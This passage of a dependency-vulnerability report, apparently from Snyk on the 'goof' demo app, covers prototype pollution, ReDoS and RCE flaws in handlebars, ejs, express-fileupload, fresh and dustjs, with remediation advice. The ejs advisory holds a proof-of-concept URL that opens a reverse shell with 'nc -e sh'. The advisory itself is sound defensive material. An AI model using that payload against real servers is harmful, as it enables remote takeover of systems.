Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade handlebars to version 4.3.0, 3.0.8 or higher.

+

References

+ + +
+ + + +
+
+

Denial of Service (DoS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Denial of Service (DoS). The package's parser may be forced into an endless loop while processing specially-crafted templates, which may allow attackers to exhaust system resources leading to Denial of Service.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade handlebars to version 4.4.5 or higher.

+

References

+ + +
+ + + +
+
+

Arbitrary Code Execution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.

+

Remediation

+

Upgrade handlebars to version 4.5.3, 3.0.8 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade handlebars to version 4.0.14, 4.1.2 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Prototype Pollution. A Prototype Pollution allowing Remote Code Execution can be exploited using the constructor, via the 'lookup' helper. + This vulnerability is due to an incomplete fix for: SNYK-JS-HANDLEBARS-173692

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade handlebars to version 3.0.7, 4.1.2, 4.0.14 or higher.

+

References

+ + +
+ + + +
+
+

GPL-2.0 license

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Module: + + goof +
  • + +
  • Introduced through: + + goof@1.0.1 + + + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + + +
  • +
+ +
+ +
+ +

GPL-2.0 license

+ +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + fresh +
  • + +
  • Introduced through: + + + goof@1.0.1, express@4.12.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + fresh@0.2.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + send@0.12.3 + + fresh@0.2.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + serve-static@1.9.3 + + send@0.12.3 + + fresh@0.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

fresh is HTTP response freshness testing.

+

Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (/ *, */) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade fresh to version 0.5.2 or higher.

+

References

+ + +
+ + + +
+
+

Denial of Service (DoS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + express-fileupload +
  • + +
  • Introduced through: + + goof@1.0.1 and express-fileupload@0.0.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + express-fileupload@0.0.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

express-fileupload is a file upload middleware for express that wraps around busboy.

+

Affected versions of this package are vulnerable to Denial of Service (DoS). The package does not limit file name length.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

+

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

+

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

+

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

+

Two common types of DoS vulnerabilities:

+
    +
  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

    +
  • +
  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

    +
  • +
+

Remediation

+

Upgrade express-fileupload to version 1.1.6-alpha.6 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + express-fileupload +
  • + +
  • Introduced through: + + goof@1.0.1 and express-fileupload@0.0.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + express-fileupload@0.0.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

express-fileupload is a file upload middleware for express that wraps around busboy.

+

Affected versions of this package are vulnerable to Prototype Pollution. If the parseNested option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade express-fileupload to version 1.1.10 or higher.

+

References

+ + +
+ + + +
+
+

Remote Code Execution (RCE)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ejs +
  • + +
  • Introduced through: + + goof@1.0.1 and ejs@1.0.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + ejs@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + ejs-locals@1.0.2 + + ejs@0.8.8 + + + +
  • +
+ +
+ +
+ +

Overview

+

ejs is a popular JavaScript templating engine.

+

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

+

Note: + This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

+

PoC:

+

Creation of reverse shell:

+
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
+        
+

Remediation

+

Upgrade ejs to version 3.1.7 or higher.

+

References

+ + +
+ + + +
+
+

Arbitrary Code Execution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ejs +
  • + +
  • Introduced through: + + goof@1.0.1 and ejs@1.0.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + ejs@1.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + ejs-locals@1.0.2 + + ejs@0.8.8 + + + +
  • +
+ +
+ +
+ +

Overview

+

ejs is a popular JavaScript templating engine. + Affected versions of the package are vulnerable to Remote Code Execution by letting the attacker under certain conditions control the source folder from which the engine renders include files. + You can read more about this vulnerability on the Snyk blog.

+

There's also a Cross-site Scripting & Denial of Service vulnerabilities caused by the same behaviour.

+

Details

+

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

+

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

+
ejs.render(str, data, options);
+        
+        ejs.renderFile(filename, data, options, callback)
+        
+

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

+
ejs.render(str, dataAndOptions);
+        
+        ejs.renderFile(filename, dataAndOptions, callback)
+        
+

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the root option, which allows changing the project root for includes with an absolute path.

+
ejs.renderFile('my-template', {root:'/bad/root/'}, callback);
+        
+

By passing along the root directive in the line above, any includes would now be pulled from /bad/root instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.

+

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

+

Disclosure Timeline

+
    +
  • November 27th, 2016 - Reported the issue to package owner.
  • +
  • November 27th, 2016 - Issue acknowledged by package owner.
  • +
  • November 28th, 2016 - Issue fixed and version 2.5.3 released.
  • +
+

Remediation

+

The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. + Otherwise, Upgrade ejs to version 2.5.3 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + dustjs-linkedin +
  • + +
  • Introduced through: + + goof@1.0.1 and dustjs-linkedin@2.5.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + dustjs-linkedin@2.5.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

dustjs-linkedin is a Javascript templating engine designed to run asynchronously on both the server and the browser.

+

Affected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute the blocks Array attribute of the object context within the compileBlocks function. This vulnerability can be leveraged for code execution since this property is added to the compiled function which is then execute by the vm module.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

